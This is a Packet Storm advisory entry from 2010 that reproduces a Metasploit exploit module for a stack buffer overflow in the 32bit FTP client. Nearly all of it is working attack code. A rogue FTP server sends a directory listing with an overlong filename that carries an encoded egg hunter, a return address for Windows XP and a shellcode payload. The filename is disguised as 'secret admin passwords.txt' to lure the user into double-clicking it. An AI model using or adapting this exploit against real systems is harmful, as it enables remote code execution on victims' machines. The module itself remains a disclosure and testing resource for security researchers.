32bit FTP Client Stack Buffer Overflow

2010-10-13T00:00:00
ID PACKETSTORM:94655
Type packetstorm
Reporter corelanc0d3r
Modified 2010-10-13T00:00:00

Description

                                        
                                            `##  
# $Id: 32bitftp_list_reply.rb 10658 2010-10-12 17:31:18Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => '32bit FTP Client Stack Buffer Overflow ',  
'Description' => %q{  
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to  
download a file that has an overly long filename.  
},  
'Author' =>  
[  
'fancy', # found the bug  
'corelanc0d3r' # helped writing this module  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10658 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
  
end  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
  
def on_client_command_list(c,arg)  
code = 150  
c.put("#{code} OK.\r\n")  
code = 226  
c.put("#{code} Directory ok.\r\n")  
  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
  
filename = "\x02" #prevent crash  
filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter  
filename << " " * 77  
#custom encoded egg hunter  
filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"  
filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"  
filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"  
filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"  
filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"  
filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"  
filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"  
filename << "\x4b\x4f\x4d\x37\x41\x41"  
filename << " " * (target['Offset']-filename.length)  
  
addr1 = "\x40\x60\x3A\x76" # RW imm32.dll  
addr2 = "\x44\x54\x48\x00" # data section 32bitftp.exe  
addr3 = [target.ret].pack('V') # b00m !  
  
strfile = filename  
strfile << addr3  
strfile << addr2  
strfile << addr1  
strfile << "w00tw00t"  
strfile << payload.encoded  
  
print_status(" - Sending directory list via data connection")  
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n"  
conn.put(dirlist)  
conn.close  
print_status(" - LIST sent, wait for user to double click file...")  
return  
end  
  
end  
  
`